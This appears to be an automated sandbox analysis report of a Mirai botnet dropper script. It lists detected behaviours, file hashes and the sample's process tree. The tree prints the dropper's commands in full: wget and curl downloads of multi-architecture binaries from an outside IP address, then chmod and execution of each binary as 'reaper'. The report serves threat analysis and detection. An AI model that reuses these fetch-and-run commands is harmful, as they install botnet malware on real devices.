Analysis

  • max time kernel
    30s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20251231-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20251231-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/01/2026, 03:53

General

  • Target
    b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
  • Size 3KB
  • Sample260107-efs2sser5x
  • SHA256 b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (40533) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 21 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 21 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
    /tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
    1⤵
    • Executes dropped EXE
    PID:1518
    • /usr/bin/wget
      wget http://176.65.132.205/bins/z3hir.x86 -O reaper
      2⤵
      • Writes file to tmp directory
      PID:1519
    • /bin/chmod
      chmod +x reaper
      2⤵
      • File and Directory Permissions Modification
      PID:1527
    • /tmp/reaper
      ./reaper
      2⤵
      • Modifies Watchdog functionality
      • Reads runtime system information
      PID:1528
    • /usr/bin/curl
      curl -O http://176.65.132.205/bins/z3hir.x86
      2⤵
      • Writes file to tmp directory
      PID:1532
    • /bin/mv
      mv z3hir.x86 reaper
      2⤵
        PID:1536
      • /bin/chmod
        chmod +x reaper
        2⤵
        • File and Directory Permissions Modification
        PID:1537
      • /tmp/reaper
        ./reaper
        2⤵
        • Modifies Watchdog functionality
        • Reads runtime system information
        PID:1538
      • /usr/bin/wget
        wget http://176.65.132.205/bins/z3hir.mips -O reaper
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1546
      • /usr/bin/curl
        curl -O http://176.65.132.205/bins/z3hir.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1547
      • /bin/mv
        mv z3hir.mips reaper
        2⤵
        • System Network Configuration Discovery
        PID:1549
      • /bin/chmod
        chmod +x reaper
        2⤵
        • File and Directory Permissions Modification
        PID:1550
      • /tmp/reaper
        ./reaper
        2⤵
          PID:1551
        • /usr/bin/wget
          wget http://176.65.132.205/bins/z3hir.mpsl -O reaper
          2⤵
          • Writes file to tmp directory
          PID:1554
        • /bin/chmod
          chmod +x reaper
          2⤵
          • File and Directory Permissions Modification
          PID:1555
        • /tmp/reaper
          ./reaper
          2⤵
            PID:1556
          • /usr/bin/curl
            curl -O http://176.65.132.205/bins/z3hir.mpsl
            2⤵
            • Writes file to tmp directory
            PID:1558
          • /bin/mv
            mv z3hir.mpsl reaper
            2⤵
              PID:1559
            • /bin/chmod
              chmod +x reaper
              2⤵
              • File and Directory Permissions Modification
              PID:1560
            • /tmp/reaper
              ./reaper
              2⤵
                PID:1561
              • /usr/bin/wget
                wget http://176.65.132.205/bins/z3hir.arm -O reaper
                2⤵
                • Writes file to tmp directory
                PID:1564
              • /bin/chmod
                chmod +x reaper
                2⤵
                • File and Directory Permissions Modification
                PID:1565
              • /tmp/reaper
                ./reaper
                2⤵
                  PID:1566
                • /usr/bin/curl
                  curl -O http://176.65.132.205/bins/z3hir.arm
                  2⤵
                  • Writes file to tmp directory
                  PID:1568
                • /bin/mv
                  mv z3hir.arm reaper
                  2⤵
                    PID:1569
                  • /bin/chmod
                    chmod +x reaper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1570
                  • /tmp/reaper
                    ./reaper
                    2⤵
                      PID:1571
                    • /usr/bin/wget
                      wget http://176.65.132.205/bins/z3hir.arm5 -O reaper
                      2⤵
                      • Writes file to tmp directory
                      PID:1574
                    • /bin/chmod
                      chmod +x reaper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1575
                    • /tmp/reaper
                      ./reaper
                      2⤵
                        PID:1576
                      • /usr/bin/curl
                        curl -O http://176.65.132.205/bins/z3hir.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:1578
                      • /bin/mv
                        mv z3hir.arm5 reaper
                        2⤵
                        • Reads runtime system information
                        PID:1579
                      • /bin/chmod
                        chmod +x reaper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1580
                      • /tmp/reaper
                        ./reaper
                        2⤵
                          PID:1581
                        • /usr/bin/wget
                          wget http://176.65.132.205/bins/z3hir.arm6 -O reaper
                          2⤵
                          • Writes file to tmp directory
                          PID:1584
                        • /bin/chmod
                          chmod +x reaper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1585
                        • /tmp/reaper
                          ./reaper
                          2⤵
                            PID:1586
                          • /usr/bin/curl
                            curl -O http://176.65.132.205/bins/z3hir.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:1588
                          • /bin/mv
                            mv z3hir.arm6 reaper
                            2⤵
                            • Reads runtime system information
                            PID:1589
                          • /bin/chmod
                            chmod +x reaper
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1590
                          • /tmp/reaper
                            ./reaper
                            2⤵
                              PID:1591
                            • /usr/bin/wget
                              wget http://176.65.132.205/bins/z3hir.arm7 -O reaper
                              2⤵
                              • Writes file to tmp directory
                              PID:1594
                            • /bin/chmod
                              chmod +x reaper
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1595
                            • /tmp/reaper
                              ./reaper
                              2⤵
                                PID:1596
                              • /usr/bin/curl
                                curl -O http://176.65.132.205/bins/z3hir.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1598
                              • /bin/mv
                                mv z3hir.arm7 reaper
                                2⤵
                                  PID:1599
                                • /bin/chmod
                                  chmod +x reaper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1600
                                • /tmp/reaper
                                  ./reaper
                                  2⤵
                                    PID:1601
                                  • /usr/bin/wget
                                    wget http://176.65.132.205/bins/z3hir.ppc -O reaper
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1604
                                  • /bin/chmod
                                    chmod +x reaper
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1605
                                  • /tmp/reaper
                                    ./reaper
                                    2⤵
                                      PID:1606
                                    • /usr/bin/curl
                                      curl -O http://176.65.132.205/bins/z3hir.ppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1608
                                    • /bin/mv
                                      mv z3hir.ppc reaper
                                      2⤵
                                      • Reads runtime system information
                                      PID:1609
                                    • /bin/chmod
                                      chmod +x reaper
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1610
                                    • /tmp/reaper
                                      ./reaper
                                      2⤵
                                        PID:1611
                                      • /usr/bin/wget
                                        wget http://176.65.132.205/bins/z3hir.spc -O reaper
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1614
                                      • /bin/chmod
                                        chmod +x reaper
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1615
                                      • /tmp/reaper
                                        ./reaper
                                        2⤵
                                          PID:1616
                                        • /usr/bin/curl
                                          curl -O http://176.65.132.205/bins/z3hir.spc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1618
                                        • /bin/mv
                                          mv z3hir.spc reaper
                                          2⤵
                                          • Reads runtime system information
                                          PID:1619
                                        • /bin/chmod
                                          chmod +x reaper
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1620
                                        • /tmp/reaper
                                          ./reaper
                                          2⤵
                                            PID:1621
                                          • /usr/bin/wget
                                            wget http://176.65.132.205/bins/z3hir.m68k -O reaper
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1624
                                          • /bin/chmod
                                            chmod +x reaper
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1625
                                          • /tmp/reaper
                                            ./reaper
                                            2⤵
                                              PID:1626
                                            • /usr/bin/curl
                                              curl -O http://176.65.132.205/bins/z3hir.m68k
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1628
                                            • /bin/mv
                                              mv z3hir.m68k reaper
                                              2⤵
                                                PID:1629
                                              • /bin/chmod
                                                chmod +x reaper
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1630
                                              • /tmp/reaper
                                                ./reaper
                                                2⤵
                                                  PID:1631
                                                • /usr/bin/wget
                                                  wget http://176.65.132.205/bins/z3hir.sh4 -O reaper
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1634
                                                • /bin/chmod
                                                  chmod +x reaper
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1635
                                                • /tmp/reaper
                                                  ./reaper
                                                  2⤵
                                                    PID:1636
                                                  • /usr/bin/curl
                                                    curl -O http://176.65.132.205/bins/z3hir.sh4
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1638
                                                  • /bin/mv
                                                    mv z3hir.sh4 reaper
                                                    2⤵
                                                      PID:1639
                                                    • /bin/chmod
                                                      chmod +x reaper
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1640
                                                    • /tmp/reaper
                                                      ./reaper
                                                      2⤵
                                                        PID:1641
                                                      • /bin/rm
                                                        rm -rf reaper
                                                        2⤵
                                                          PID:1644

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            reaper

                                                            • Path /tmp/reaper
                                                            • Size 62KB
                                                            • SHA256 ec39782ea367d6e0802d22c4b0e777f2a25cb53d38d8942246c4e8d54af7513d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            reaper

                                                            • Path /tmp/reaper
                                                            • Size 79KB
                                                            • SHA256 915fd8cc94d0f24729f519f1c4070d694415315bc1e95c9d29272734a5af097f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            reaper

                                                            • Path /tmp/reaper
                                                            • Size 91KB
                                                            • SHA256 0daf6782e3f452a3607ad005cd889d3c6f9d629aca5876b37b00d66c41804ebb
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            reaper

                                                            • Path /tmp/reaper
                                                            • Size 84KB
                                                            • SHA256 bb110da7573aca38e37ca99c4c5abce4a5370eb5c718f1e1e1adf3d8be49ed76
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            reaper

                                                            • Path /tmp/reaper
                                                            • Size 67KB
                                                            • SHA256 5a55b836e3b5d9b5e7b766b0d7ffe3672b4b9d150fc3dee3bf4eb49d7bf9b16f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            reaper

                                                            • Path /tmp/reaper
                                                            • Size 67KB
                                                            • SHA256 be240c37cb56f7727ed3c4fa8dcc92fa6e628b450519cdcc4070c4f8e9603a8d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            z3hir.arm7

                                                            • Path /tmp/z3hir.arm7
                                                            • Size 91KB
                                                            • SHA256 aacde0f179f3638538c8d3602b7b402390c262ae2c90024d9facf73fa7b4d21e
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            z3hir.m68k

                                                            • Path /tmp/z3hir.m68k
                                                            • Size 64KB
                                                            • SHA256 8a29b1ec616ce3423f7dc2fc6c4fc045ff38f7958dfcdb9fb21cecd1acc8af3e
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            z3hir.mips

                                                            • Path /tmp/z3hir.mips
                                                            • Size 83KB
                                                            • SHA256 e43dff3feb20d73911bbdc0f43bcb5038772b5cb8800f20bb20f422f36331b18
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            z3hir.ppc

                                                            • Path /tmp/z3hir.ppc
                                                            • Size 62KB
                                                            • SHA256 5749e89010614cf34c215fc15f6613494b90d6664de0f1b813dd55967a0aa57f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            z3hir.sh4

                                                            • Path /tmp/z3hir.sh4
                                                            • Size 62KB
                                                            • SHA256 0853c6cf590b295f6ec741440726ddb97b0b0f61155f7ab9c08d3f35fd5e6e73
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            z3hir.spc

                                                            • Path /tmp/z3hir.spc
                                                            • Size 71KB
                                                            • SHA256 34f848e80a044c5bdbbf6ace55421acb1ebf51a369692249c6a64b835d5c5b0b
                                                            • MD5 SHA1 SHA512 SSDEEP